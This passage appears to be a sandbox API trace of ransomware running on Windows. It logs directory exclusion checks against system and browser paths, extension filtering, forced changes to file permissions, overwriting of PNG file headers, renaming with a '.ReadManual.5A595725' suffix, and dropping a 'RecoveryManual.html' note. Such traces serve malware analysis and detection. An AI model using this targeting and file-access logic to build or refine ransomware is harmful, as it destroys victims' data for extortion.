lpString1=0x69b8fc, lpString2="VideoWall" | out: lpString1="VideoWall") returned="VideoWall" [0258.376] lstrcatW (in: lpString1="VideoWall", lpString2="\\" | out: lpString1="VideoWall\\") returned="VideoWall\\" [0258.376] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\Windows\\") returned 0x0 [0258.376] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\WINNT") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.377] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.377] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\") returned 58 [0258.377] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0258.378] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" [0258.378] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.378] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0258.378] lstrcpyW (in: lpString1=0x6ab910, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0258.378] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.378] StrStrIW (lpFirst="203x8subpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.378] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.378] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.378] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.378] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.378] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.378] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.378] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" [0258.378] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.ReadManual.5A595725" [0258.378] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.ReadManual.5A595725") returned 97 [0258.378] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37904696615) returned 1 [0258.378] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0258.378] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.378] GetLastError () returned 0x5 [0258.379] GetNamedSecurityInfoW () returned 0x0 [0258.379] SetNamedSecurityInfoW () returned 0x0 [0258.379] SetNamedSecurityInfoW () returned 0x0 [0258.380] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.380] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2820) returned 1 [0258.380] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb04, lpName=0x0) returned 0x1a0 [0258.380] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0258.380] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.381] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.382] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.382] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb04) returned 0x2f0000 [0258.382] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37905111091) returned 1 [0258.382] CloseHandle (hObject=0x1a0) returned 1 [0258.382] SetSecurityInfo () returned 0x5 [0258.383] SetSecurityInfo () returned 0x5 [0258.383] LocalFree (hMem=0x674d38) returned 0x0 [0258.383] CloseHandle (hObject=0x184) returned 1 [0258.383] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\" [0258.383] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RecoveryManual.html" [0258.383] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0258.383] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0258.384] CloseHandle (hObject=0x184) returned 1 [0258.384] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0258.384] lstrcpyW (in: lpString1=0x6ab910, lpString2="videowall.png" | out: lpString1="videowall.png") returned="videowall.png" [0258.384] lstrcmpiW (lpString1="videowall.png", lpString2="RecoveryManual.html") returned 1 [0258.384] StrStrIW (lpFirst="videowall.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.384] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.384] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.384] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.384] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.384] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.384] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.385] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" [0258.385] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.ReadManual.5A595725" [0258.385] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.ReadManual.5A595725") returned 91 [0258.385] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37905341399) returned 1 [0258.385] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0258.385] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.385] GetLastError () returned 0x5 [0258.385] GetNamedSecurityInfoW () returned 0x0 [0258.385] SetNamedSecurityInfoW () returned 0x0 [0258.386] SetNamedSecurityInfoW () returned 0x0 [0258.386] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.386] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=19846) returned 1 [0258.387] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d86, lpName=0x0) returned 0x1a0 [0258.387] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0258.387] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.387] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.389] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.389] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d86) returned 0x2f0000 [0258.389] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.389] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37905809733) returned 1 [0258.389] CloseHandle (hObject=0x1a0) returned 1 [0258.389] SetSecurityInfo () returned 0x5 [0258.389] SetSecurityInfo () returned 0x5 [0258.390] LocalFree (hMem=0x674d38) returned 0x0 [0258.390] CloseHandle (hObject=0x184) returned 1 [0258.390] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0258.390] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.390] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0258.390] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Vignette" | out: lpString1="Vignette") returned="Vignette" [0258.390] lstrcatW (in: lpString1="Vignette", lpString2="\\" | out: lpString1="Vignette\\") returned="Vignette\\" [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\Windows\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\WINNT") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.390] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.391] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.391] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\") returned 57 [0258.391] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0258.392] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" [0258.392] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.392] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0258.392] lstrcpyW (in: lpString1=0x6ab90e, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0258.392] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0258.392] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.392] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.392] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.393] StrCmpIW 